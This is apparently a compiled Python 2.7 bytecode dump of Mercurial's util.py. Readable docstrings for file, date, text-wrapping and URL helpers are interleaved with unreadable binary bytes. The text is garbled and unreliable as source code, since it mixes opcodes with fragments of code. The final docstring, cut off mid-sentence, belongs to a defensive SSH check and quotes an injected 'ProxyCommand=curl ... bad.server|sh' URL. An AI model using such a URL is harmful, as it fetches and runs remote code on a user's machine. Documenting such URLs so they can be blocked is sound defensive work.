tracebackt extract_tbR texc_infoterrortSignatureError(R1tkwargs(R/(s4/usr/lib64/python2.7/site-packages/mercurial/util.pytcheck�s  % ((R/R�((R/s4/usr/lib64/python2.7/site-packages/mercurial/util.pytchecksignature�scCs�tjj|�rt|�ntjj|�rMtjtj|�|�nOy$tj||�tj ||�Wn(tj k r�}t t |���nXdS(s,copy a file, preserving mode and atime/mtimeN( RdR�tlexistsRotislinktsymlinktreadlinktshutiltcopyfiletcopymodetErrorRkR�(tsrctdesttinst((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s c CsA|dkr?tj|�jtjtjj|��jk}nd}tjj|�r�tj|�x�tj |�D]X\}}tjj ||�}tjj ||�}t |||�\}}||7}qtWnd|ryt ||�Wq-t tfk rt}tj||�q-Xntj||�|d7}||fS(s1Copy a directory tree using hardlinks if possibleiiN(RWRdtstattst_devR�tdirnametisdirtmkdirtosutiltlistdirR�t copyfilestoslinktIOErrorRpR�R�tcopy( R�tdstthardlinktnumRPtkindtsrcnametdstnametn((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s( $  sqcon prn aux nul com1 com2 com3 com4 com5 com6 com7 com8 com9 lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9s:*?"<>|cCs�x�|jdd�jd�D]�}|s.qnxH|D]@}|tkrUtd�|St|�dkr5td�|Sq5W|jd�d}|r�|j�tkr�td�|S|d}|d kr|d krtd �|SqWd S( s�Check that the base-relative path is a valid filename on Windows. Returns None if the path is ok, or a UI string describing the problem. >>> checkwinfilename("just/a/normal/path") >>> checkwinfilename("foo/bar/con.xml") "filename contains 'con', which is reserved on Windows" >>> checkwinfilename("foo/con.xml/bar") "filename contains 'con', which is reserved on Windows" >>> checkwinfilename("foo/bar/xml.con") >>> checkwinfilename("foo/bar/AUX/bla.txt") "filename contains 'AUX', which is reserved on Windows" >>> checkwinfilename("foo/bar/bla:.txt") "filename contains ':', which is reserved on Windows" >>> checkwinfilename("foo/bar/bla.txt") "filename contains '\\x07', which is invalid on Windows" >>> checkwinfilename("foo/bar/bla ") "filename ends with ' ', which is not allowed on Windows" >>> checkwinfilename("../bar") s\R�s4filename contains '%s', which is reserved on Windowsis1filename contains %r, which is invalid on WindowsR�ii����s. s..s8filename ends with '%s', which is not allowed on WindowsN(RhR�t_winreservedcharsRtordtlowert_winreservednames(R�R�tctbasett((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytcheckwinfilename/s$"        cCs�ytj||�SWn;tk rA}|jtjkrR�qRntk rQnXtj|tjtjBtj B�}tj ||�tj |�dS(N( RdR�RpterrnotEEXISTR�RmtO_CREATtO_WRONLYtO_EXCLRfRg(tinfotpathnametwhytld((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytmakelock[s  #cCs~ytj|�SWnDtk rG}|jtjtjfkrX�qXntk rWnXt|�}|j�}|j �|S(N( RdR�RpRtEINVALtENOSYSR�t posixfileRnRg(RR RtRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytreadlockhs     cCs<ytj|j��SWntk r7tj|j�SXdS(s1stat file object that may not have fileno method.N(RdtfstattfilenoR�R�RP(Rt((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRus cCs�tj|�}tjj|�\}}|j�}||kr^|j�}||kr^tSntjj||�}y'tj|�}||kr�tStSWnt k r�tSXdS(s� Return true if the given path is on a case-sensitive filesystem Requires a path (like /foo/.hg) ending with a foldable final directory component. N( RdR�R�R�tupperR�RR�R�Rp(R�ts1tdR�tb2tp2ts2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt checkcase~s      cCs�tdkr:ytjtaWq:tk r6taq:Xntr�|tjtj B@dkr�|tj@rud|}n|tj @r�d|}nytj|�SWq�tj k r�q�Xntj||�S(s�Compile a regular expression, using re2 if possible For best performance, use only re2-compatible regexp features. The only flags from the re module that are re2-compatible are IGNORECASE and MULTILINE.is(?i)s(?m)N( t_re2RWtre2tcompileRR,R�tret IGNORECASEt MULTILINER�(tpattflags((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt compilere�s     !    c CsFd�}tj}tjr+|tj}n|jdd�tjd||f�}tjj|�}g}x�|j|�D]�\}}|r�|j |�q|n|t kr�tj |�t |<nt |} ||| �} | s tj |�} | t |<||| �} n|j | p|�tjj ||�}q|Wdj |�S(s4Get name in the case stored in the filesystem The name should be relative to root, and be normcase-ed for efficiency. Note that this function is unnecessary, and should not be called, for case-sensitive filesystems (simply because it's expensive). The root should be normcase-ed, too. cSs+x$|D]}t|�|kr|SqWdS(N(tnormcaseRW(R$tcontentsR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytfind�s s\s\\s([^%s]+)|([%s]+)R( RdR�taltsepRhRRR�tnormpathtfindallRDt _fspathcacheR�R�( RPR�R$tsepstpatterntdirRTtpartR�R#tfound((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytfspath�s.       c Cs�|d}tjj|�r tSyt|d�j�Wntk rKtSX|d}d}zFyt||�Wnt k r�tSXt|�}t |�dkSWd|dk r�|j�nx9||fD]+}ytj |�Wq�t k r�q�Xq�WXdS(s5check whether hardlink count reporting works properlys.hgtmp1tws.hgtmp2iN( RdR�R�R�RRgR�RWR�RptnlinksRo(ttestfiletf1tf2tfdR0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt checknlink�s.        cCs+|jtj�p*tjo*|jtj�S(s)Check path ends with os.sep or os.altsep.(tendswithRdR�R%(R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt endswithsepscCs|jtj�S(s�Split path by os.sep. Note that this function does not use os.altsep because this is an alternative of simple "xxx.split(os.sep)". It is recommended to use os.path.normpath() before using this function if need.(R�RdR�(R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�scCshtjdkrEdtjkr"tSttdd�r>tj�St Sntj dkpctjj d�SdS(sAre we running in a GUI?tdarwintSSH_CONNECTIONtisguiRtDISPLAYN( R RjRdR�R�RR�RWR:RRPR�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytguis c CsBtjj|�\}}tjdd|d|�\}}tj|�t|||�|ra|Sy�yt|d�}WnJtk r�}|j t j kr�|St |dd�s�||_ n�nXt|d�} x!t|�D]} | j| �q�W|j�| j�Wn/ytj|�Wntk r6nX�nX|S(sCreate a temporary file with the same contents from name The permission bits are copied from the original file. If the temporary file is going to be truncated immediately, you can use emptyok=True as an optimization. Returns the name of the temporary file. R\s.%s-R+RatfilenameR]N(RdR�R�RbRcRgR�RR�RtENOENTRRWR=t filechunkiterRfRoRp( RPtemptyokt createmodeRR}R4ttemptifpR�tofpR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt mktempcopys6 "    tatomictempfilecBs8eZdZddd�Zd�Zd�Zd�ZRS(sfwritable file object that atomically updates a file All writes will go to a temporary copy of the original file. Call close() when you are done writing, and atomictempfile will rename the temporary copy to the original name, making the changes visible. If the object is destroyed without being closed, all your writes are discarded. sw+bcCs||_t|dd|kd|�|_t|j|�|_|jj|_|jj|_|jj|_|jj|_dS(NR@R/RA( t_atomictempfile__nameREt _tempnameRt_fpRftseekttellR(R7RPtmodeRA((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRCOs  cCs9|jjs5|jj�t|jt|j��ndS(N(RItclosedRgtrenameRHR�RG(R7((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRg[s  cCsH|jjsDytj|j�Wntk r3nX|jj�ndS(N(RIRMRdRoRHRpRg(R7((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytdiscard`s   cCs t|d�r|j�ndS(NRI(RRO(R7((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__del__hsN(R<R=RLRWRCRgRORP(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRFFs   cCs�yt||�Wn�tk r�}|jtjkr9dS|jtjksR| rX�ntjjtjj|��}||kr��nt |||�t||�nX|dk r�tj ||�ndS(s9recursive directory creation with parent mode inheritanceN( tmakedirRpRRR>RdR�R�tabspathtmakedirsRWtchmod(RPRLt notindexedterrtparent((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRSls  cCs�tjj|�rdStjjtjj|��}||krPt||�nytj|�Wn>tk r�}|jtj kr�tjj|�r�dS�nX|dk r�tj ||�ndS(s&race-safe recursive directory creationN( RdR�R�R�RRt ensuredirsR�RpRRRWRT(RPRLRWRV((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRX}s $ cCs/t|d�}z|j�SWd|j�XdS(NRa(RmRnRg(R�Rt((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytreadfile�scCs2t|d�}z|j|�Wd|j�XdS(NR](RmRfRg(R�ttextRt((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt writefile�scCs2t|d�}z|j|�Wd|j�XdS(Ntab(RmRfRg(R�RZRt((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt appendfile�st chunkbuffercBs eZdZd�Zd�ZRS(soAllow arbitrary sized chunks of data to be efficiently read from an iterator over chunks of arbitrary size.cCs(d�}||�|_t�|_dS(szin_iter is the iterator that's iterating over the input chunks. targetsize is how big a buffer to try to maintain.cssjxc|D][}t|�dkr]d}x:|t|�krY|d}|||!V|}q(Wq|VqWdS(Niiiiii(RH(tchunksR�tpostend((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytsplitbig�s    N(titerR5t_queue(R7tin_iterRb((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRC�s cCs�|}g}|j}x�|dkr�|s~d}x>|jD]3}|j|�|t|�8}|dkr:Pq:q:W|s~Pq~n|j�}|t|�8}|dkr�|j||�|j|| �q|j|�qWdj|�S(suRead L bytes of data from the iterator of chunks of data. Returns less than L bytes if the iterator runs dry.iiiRi(RdRcRDRHRIt appendleftR�(R7tltleftR�tqueuettargetR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRn�s(     (R<R=RLRCRn(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR^�s ccs�|dkst�|dks0|dks0t�xktr�|dkrN|}nt||�}|oo|j|�}|s|Pn|r�|t|�8}n|Vq3WdS(sXCreate a generator that produces the data in the file size (default 65536) bytes at a time, up to optional limit (default is to read all data). Chunks may be less than size bytes if the chunk is the last chunk in the file, or the file is a socket or some other type of file that sometimes reads less data than is requested.iN(tAssertionErrorRWRR�RnRH(R0tsizetlimittnbytesR ((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR?�s   cCs�tj�}|dkrCtd�}ttd�|d|��ntjj|�tjj|�}|jd|j}||fS(Nischeck your clocksnegative timestamp: %dthinti�Q(ttimeRRktdatetimetutcfromtimestampt fromtimestamptdaystseconds(tctRotdeltattz((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytmakedate�s   s%a %b %d %H:%M:%S %Y %1%2c Cs|p t�\}}|dkr0d}d}nd|ksHd|kr�|dkrZdp]d}t|�d}|jdd||df�}|jdd|d�}nytjt|�|�}Wn#tk r�tjtj�}nXtj ||�}|S( s�represent a (unixtime, offset) tuple as a localized time. unixtime is seconds since the epoch, and offset is the time zone's number of seconds away from UTC. if timezone is false, do not append time zone to string.is%1s%2t-t+i<s%c%02ds%02d( RytabsRhRptgmtimetfloatt ValueErrorR tmaxinttstrftime(tdatetformatRRxtsigntminutesR ((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytdatestr�s    cCst|dd�S(s1turn (timestamp, tzoff) tuple into iso 8631 date.R�s%Y-%m-%d(R�(R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt shortdatesc Cs$d�}||�|}}|dk rDdj|j�d �}nt}xndD]f}g|D]}d ||kr^t^q^} | s�|d |||7}|d |d 7}qQt}qQWtj||�} ttj | ��} |dkrttj | ��} | | }n | |} | |fS(s~parse a localized time string and return a (unixtime, offset) tuple. if the string cannot be parsed, ValueError is raised.cSs�|j�d}|ddkr�t|�dkr�|dj�r�|ddkrXdp[d}t|dd!�}t|dd!�}| |d|dS|d ks�|d kr�dSdS( Ni����is+-iiR{ii<tGMTtUTC(R�RHtisdigittintRW(tstringRxR�thoursR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyttimezones2t i����tStMtHIRtmbtyYt%t@s@%iN(R�R�sHIRsmbR�( RWR�R�R�RRptstrptimeR�tcalendarttimegmtmktime( R�R�tdefaultsR�RR�tusenowR,R$R-t timetuplet localunixtimetunixtime((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytstrdate s$   )    c Csp|s dSt|t�r/t|�dkr/|S|s>t}n|j�}|td�krct�S|td�kr�tjj �j d�}n=|td�kr�tjj �tj dd�j d�}ny"t t |jd ��\}}Wn�tk r�t�}i}xrdD]j}|j|�}|dkrX|ddkrOd}qXd}nt|d|d�} || f||<qWx_|D]=} yt|| |�\}}Wnttfk r�q�XPq�Wttd�|��nXt|�dkrttd�|��n|dkr5ttd�|��n|dksM|dkrfttd�|��n||fS(s�parse a localized date/time and return a (unixtime, offset) tuple. The date may be a "unixtime offset" string or in one of the specified formats. If the date already is a (unixtime, offset) tuple, it is returned. >>> parsedate(' today ') == parsedate( datetime.date.today().strftime('%b %d')) True >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() - datetime.timedelta(days=1) ).strftime('%b %d')) True >>> now, tz = makedate() >>> strnow, strtz = parsedate('now') >>> (strnow - now) < 1 True >>> tz == strtz True iitnowttodays%b %dt yesterdayRtiR�RR�R�R�R�R�tHMSt00R�R�sinvalid date: %ri���sdate exceeds 32 bits: %dsnegative date value: %di ;��i��simpossible time zone offset: %d(ii(RsmbsyYsHIR�R�N(t isinstancettupleRHtdefaultdateformatststripRRyRqR�R�R�t timedeltatmapR�R�RR�RWR�R�t OverflowErrorRkR|( R�tformatstbiastwhenRR�R�R,R�R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt parsedate5sR!   "        cs�d�}d�}|j�}|s9ttd���n�|ddkr�|dshttd���n||d���fd�S|dd kr�|ds�ttd ���n||d���fd �S|dd krryt|d�}Wn+tk r"ttd �|d��nX|dkrLttd�|d��nt�d|dd��fd�Sd|kr�|jd�\}}||�||�����fd�S||�||�����fd�SdS(sAReturn a function that matches a given date match specifier Formats include: '{date}' match a given date to the accuracy provided '<{date}' on or before a given date '>{date}' on or after a given date >>> p1 = parsedate("10:29:59") >>> p2 = parsedate("10:30:00") >>> p3 = parsedate("10:30:59") >>> p4 = parsedate("10:31:00") >>> p5 = parsedate("Sep 15 10:30:00 1999") >>> f = matchdate("10:30") >>> f(p1[0]) False >>> f(p2[0]) True >>> f(p3[0]) True >>> f(p4[0]) False >>> f(p5[0]) False cSs)tdddd�}t|t|�dS(NR�R�Ri(R�R�textendeddateformats(R�R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��sc Ss�tdddddddd�}xDdD]<}y"||d <t|t|�d SWq(tk rcq(Xq(Wd |d <t|t|�d S(NR�t12R�t23R�t59R�t31t30t29Rit28(R�R�R�(R�R�R�Rk(R�RRt((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s!    s+dates cannot consist entirely of whitespaceit<isinvalid day spec, use '<DATE'cs |�kS(N((R�(R�(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt<lambda>�st>sinvalid day spec, use '>DATE'cs |�kS(N((R�(R�(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��sRzsinvalid day spec: %ss,%s must be nonnegative (see 'hg help dates')iics |�kS(N((R�(R�(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��ss to cs|�ko|�kS(N((R�(tstarttstop(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scs|�ko|�kS(N((R�(R�R�(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��sN(R�RkRR�RRyR�(R�R�RRtR�R�((R�R�R�s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt matchdate�s>           cCs�|jd�}|dkr(|| }n|jd�}|dkrT||d}n|jd�}|dkr||| }n|jd�}|dkr�|| }n|S(s>Return a short representation of a user name or email address.R�iR�iR�R�(R$(tuserR0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt shortuser�s       cCsX|jd�}|dkr(|| }n|jd�}|dkrT||d}n|S(s,Return the user portion of an email address.R�iR�i(R$(R�R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt emailuser�s   cCs<|jd�}|dkr$d}n||jd�d|!S(sget email of author.R�i����R�iN(R$RW(tauthorRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytemail�s  cCs6t|�|kr|tfSd||d tfSdS(Ns%s...i(RHR�R(RZt maxlength((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt _ellipsis�s i�cCsky?t|jtj�|�\}}|s.|S|jtj�SWn%ttfk rft||�dSXdS(s;Trim string to at most maxlength (default: 400) characters.iN(R�tdecodetencodingtencodetUnicodeDecodeErrortUnicodeEncodeError(RZR�tutextt truncated((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytellipsis�scs�fd�}|S(s@return a function that renders a readable count of some quantitycsLx9�D]1\}}}|||kr||t|�SqW�dd|S(Ni����i(R~(tcountt multipliertdivisorR�(t unittable(s4/usr/lib64/python2.7/site-packages/mercurial/util.pytgos((R�R�((R�s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt unitcountfnsidiis%.0f GBi s%.1f GBs%.2f GBis%.0f MBs%.1f MBs%.2f MBs%.0f KBs%.1f KBs%.2f KBs %.0f bytescCst|�jdd�S(Ns\\s\(treprRh(R ((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytuireprscKs)dtjfd��Y}|a||�S(NttwcBs2eZdZd�Zd�Zd�Zd�ZRS(s8 Extend TextWrapper for width-awareness. Neither number of 'bytes' in any encoding nor 'characters' is appropriate to calculate terminal columns for specified string. Original TextWrapper implementation uses built-in 'len()' directly, so overriding is needed to use width information of each characters. In addition, characters classified into 'ambiguous' width are treated as wide in East Asian area, but as narrow in other. This requires use decision to determine width of such characters. c[sGtjj||�t|dd�dkrC|jdt�|_ndS(Ntdrop_whitespace(ttextwrapt TextWrapperRCRRWR�RR�(R7R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRC.scSshd}tj}xLtt|��D]8}||||�7}||kr"|| ||fSq"W|dfS(NiR(R�t ucolwidthtxrangeRH(R7tucstrt space_leftRgtcolwidthR9((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt_cutdown5s  cSsrt||d�}|jrR|j|d|�\}}|j|�||d<n|sn|j|j��ndS(Nii����(R�tbreak_long_wordsR�RDR�(R7treversed_chunkstcur_linetcur_lentwidthR�tcuttres((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt_handle_long_word?s   c Ss�tj}g}|jdkr4td|j��n|j�xH|r�g}d}|re|j}n |j}|jt|�}|jr�|dj �dkr�|r�|d=nxK|r�||d�}|||kr�|j |j ��||7}q�Pq�W|r3||d�|kr3|j ||||�n|jrb|rb|dj �dkrb|d=n|rA|j |dj |��qAqAW|S(Nisinvalid width %r (must be > 0)i����R(R�R�R�RR�tsubsequent_indenttinitial_indentRHR�R�RDR�R�R�( R7R_R�tlinesR�R�tindentR�Rg((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt _wrap_chunksKs8     %     !(R<R=RLRCR�R�R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s   (R�R�t MBTextWrapper(R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�sjcCs�tt|�t|��}||kr=td|d�}n|jtjtj�}|jtjtj�}|jtjtj�}td|d|d|�}|j|�jtj�S(NiNiR�R�R�(R�RHR�R�t encodingmodeR�tfillR�(R�R�t initindentt hangindentt maxindenttwrapper((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytwrap�s   ccs1x*|D]"}x|j�D] }|VqWqWdS(N(t splitlines(titeratorR�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt iterlines�s cCstjjtjj|��S(N(RdR�t expandusert expandvars(R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt expandpath�scCst�rtjgSt�S(s�Return the command used to execute current hg This is different from hgexecutable() because on Windows we want to avoid things opening new shell windows like batch files, so we get either the python call or current executable. (R�R R�tgethgcmd(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pythgcmd�s  cs�t���fd�}d}ttdd�}|dk rQtj||�}nzXt|�}xA|�s�|�ks�t|� r�|� r�dStjd�qcW|SWd|dk r�tjtj|�nXdS(s_Execute the argument list in a detached process. condfn is a callable which is called repeatedly and should return True once the child process is known to have started successfully. At this point, the child process PID is returned. If the child process fails to start or finishes before condfn() evaluates to True, return -1. cs�jtj��dS(N(taddRdR�(tsignumtframe(t terminated(s4/usr/lib64/python2.7/site-packages/mercurial/util.pythandler�stSIGCHLDi����g�������?N( tsetRWRtsignalt spawndetachedttestpidRptsleepR(R1tcondfnRt prevhandlerRtpid((Rs4/usr/lib64/python2.7/site-packages/mercurial/util.pyt rundetached�s       cCsx|D]}|rtSqWtS(N(RR�(titerableR9((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytany�s cCsx|D]}|stSqWtS(N(R�R(R R9((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytall�s cs��p d��dj�j��}|rj|d|7}t|�dkrW|d}n|}|�|<ntjd||f�}|j��fd�|�S(s�Return the result of interpolating items in the mapping into string s. prefix is a single character string, or a two character string with a backslash as the first character if the prefix needs to be escaped in a regular expression. fn is an optional function that will be applied to the replacement text just before replacement. escape_prefix is an optional flag that allows using doubled prefix for its escaping. cSs|S(N((R ((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��st|is%s(%s)cs��|j�d�S(Ni(tgroup(R�(R}tmapping(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s(R�tkeysRHRRtsub(R\RR R}t escape_prefixtpatternst prefix_charRw((R}Rs4/usr/lib64/python2.7/site-packages/mercurial/util.pyt interpolate�s   cCsdyt|�SWntk r!nXytj|�SWn*tjk r_ttd�|��nXdS(s�Return the port for a given network service. If port is an integer, it's returned as is. If it's a string, it's looked up using socket.getservbyname(). If there's no matching service, util.Abort is raised. s+no port number associated with service '%s'N(R�Rtsockett getservbynameR�RkR(tport((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytgetport�s R�tyesttruetonR�R�tnotfalsetoffR�cCstj|j�d�S(sLParse s into a boolean. If s is not a valid boolean, returns None. N(t _booleansR�R�RW(R ((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt parsebool st0123456789ABCDEFabcdefccs?|]5}tD](}||tt||d��fVq qdS(iN(t_hexdigtchrR�(R�R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pys <genexpr>scCs�|jd�}t|�dkr%|S|d}x�|dD]{}y|t|d |d7}Wq:tk r|d|7}q:tk r�|tt|d d��|d7}q:Xq:W|S(sQDecode HTTP/HTML % encoding. >>> _urlunquote('abc%20def') 'abc def' R�iiii(R�RHt _hextochrtKeyErrorR�tunichrR�(R R�titem((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt _urlunquotes   -turlcBsheZdZdZdZejd�jZe e d�Z d�Z d�Z d�Z d�Zd �ZRS( s�Reliable URL parser. This parses URLs and provides attributes for the following components: <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> Missing components are set to None. The only exception is fragment, which is set to '' if present but empty. If parsefragment is False, fragment is included in query. If parsequery is False, query is included in path. If both are False, both fragment and query are included in path. See http://www.ietf.org/rfc/rfc2396.txt for more information. Note that for backward compatibility reasons, bundle URLs do not take host names. That means 'bundle://../' has a path of '../'. Examples: >>> url('http://www.ietf.org/rfc/rfc2396.txt') <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> >>> url('ssh://[::1]:2200//home/joe/repo') <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> >>> url('file:///home/joe/repo') <url scheme: 'file', path: '/home/joe/repo'> >>> url('file:///c:/temp/foo/') <url scheme: 'file', path: 'c:/temp/foo/'> >>> url('bundle:foo') <url scheme: 'bundle', path: 'foo'> >>> url('bundle://../foo') <url scheme: 'bundle', path: '../foo'> >>> url(r'c:\foo\bar') <url path: 'c:\\foo\\bar'> >>> url(r'\\blah\blah\blah') <url path: '\\\\blah\\blah\\blah'> >>> url(r'\\blah\blah\blah#baz') <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> Authentication credentials: >>> url('ssh://joe:xyz@x/repo') <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> >>> url('ssh://joe@x/repo') <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> Query strings and fragments: >>> url('http://host/a?b#c') <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> >>> url('http://host/a?b#c', parsequery=False, parsefragment=False) <url scheme: 'http', host: 'host', path: 'a?b#c'> s!~*'()+s /!~*'()+:s^[a-zA-Z0-9+.\-]+:cCsd|_|_|_|_d|_|_|_|_t |_ d|_ ||_ |r�d|kr�|j dd�\}|_|s�d}q�nt|�s�|jd�r�||_dS|jd�r d|_|d}|jd�r�|d }n||_dS|j|�rR|j d d�}|d rR|\|_}t|_ qRn|swd}|j r�d|_dSnF|j r�||_dS|r�d |kr�|j d d�\}|_|s�d}n|js�d|_q�n|r{|jd�r{|d j d d�}t|�dkr0|\|_}n|d |_d}|js{d|_|rxt|� rxd |}qxq{n|jr�d|jkr�|jjdd�\|_|_d |jkr�|jj d d�\|_|_n|js�d|_q�n|jr�d |jkr�|jjd�o8|jjd� r�|j|_ |jjd d�\|_|_|js�d|_q�n|jr�|jdkr�|jdkr�ttd���n||_xBdD]:}t||�}|dk r�t||t|��q�q�WdS(NRt#is\\sbundle:tbundleis//it:it?R�R�t[t]tfilet localhosts 127.0.0.1s[::1]s(file:// URLs can only refer to localhostR�tpasswdthostRR�tfragment(R4s 127.0.0.1s[::1](suserspasswdshostsportspathsfragment(RWtschemeR�R5R6RR�tqueryR7Rt _localpatht _hostportt _origpathR�thasdriveletterR{t _matchschemeR�RHtrsplitR6RkRRRVR+(R7R�t parsequeryt parsefragmenttpartsR�R:((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRCgs�                   !$ % !    cCs]g}xCd D];}t||�}|dk r |jd ||f�q q Wd d j|�S( NR8R�R5R6RR�R9R7s%s: %rs<url %s>s, (sschemesuserspasswdshostsportspathsquerysfragment(RRWRDR�(R7tattrsR�R:((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__repr__�s  c Csm|jrO|j}|jdkr.d|}n|jrK|d|j7}n|S|jd}|jsw|jsw|jr�|d7}n]|jr�|j s�|jjd�s�t|j�r�|d7}t|j�r�|d7}q�n|jr |t j |jd|j �7}n|jr;|dt j |jd|j �7}n|jsM|jrZ|d7}n|jr�|jjd �o�|jj d �s�|t j |j�7}q�||j7}n|j r�|dt j |j �7}n|jr�|d7}n|jr|t j |jd|j�7}n|jr4|d |j7}n|jd k ri|dt j |jd|j�7}n|S( soJoin the URL's components back into a URL string. Examples: >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' >>> str(url('http://user:pw@host:80/?foo=bar&baz=42')) 'http://user:pw@host:80/?foo=bar&baz=42' >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz')) 'http://user:pw@host:80/?foo=bar%3dbaz' >>> str(url('ssh://user:pw@[::1]:2200//home/joe#')) 'ssh://user:pw@[::1]:2200//home/joe#' >>> str(url('http://localhost:80//')) 'http://localhost:80//' >>> str(url('http://localhost:80/')) 'http://localhost:80/' >>> str(url('http://localhost:80')) 'http://localhost:80/' >>> str(url('bundle:foo')) 'bundle:foo' >>> str(url('bundle://../foo')) 'bundle:../foo' >>> str(url('path')) 'path' >>> str(url('file:///tmp/foo/bar')) 'file:///tmp/foo/bar' >>> str(url('file:///c:/tmp/foo/bar')) 'file:///c:/tmp/foo/bar' >>> print url(r'bundle:foo\bar') bundle:foo\bar R.sbundle:R-R/s//R�tsafeR�R1R2R0N(R:R�R8R7R�R5R6R{R=turllibtquotet _safecharsR6Rt _safepcharsR9RW(R7R ((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__str__�sH      %  " &  $    " &cCs�|j|j}}z"d\|_|_t|�}Wd|||_|_X|js_|dfS|d||jf|j|jp�dffS(NR(NN(R�R5RWR�R6(R7R�R5R ((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytauthinfos  cCs_|jr|jdkrtSt|j�r/tS|jjd�rEtS|jjd�r[tStS(NR3s\\R�(R8RR=R�R{R�(R7((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�)scCs�|jdks|jdkr�|jp*d}t|j�rS|jd|j}n2|jdk r�|jr�t|� r�d|}n|S|jS(NR3R.R�(R8R�R=R;R6RWR<(R7R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�4s  (R<R=RLRHRIRRtmatchR>RRCRDRJRKR�R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR,+s6^ K  cCstt|�j�S(N(R�R,R8(R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt hasschemeAscCs*|o)|dd!dko)|dd!j�S(NiiR/i(tisalpha(R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR=DscCst|dtdt�j�S(NR@RA(R,R�R�(R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt urllocalpathGscCsPtj|�}|jd�s-|jd�rLtjtd�|f��ndS(s\check if a path / url is a potentially unsafe ssh exploit (SEC) This is a sanity check for ssh urls. ssh will parse the first item as an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. Let's prevent these potentially exploited urls entirely and warn the user. Raises an error.Abort when the url is 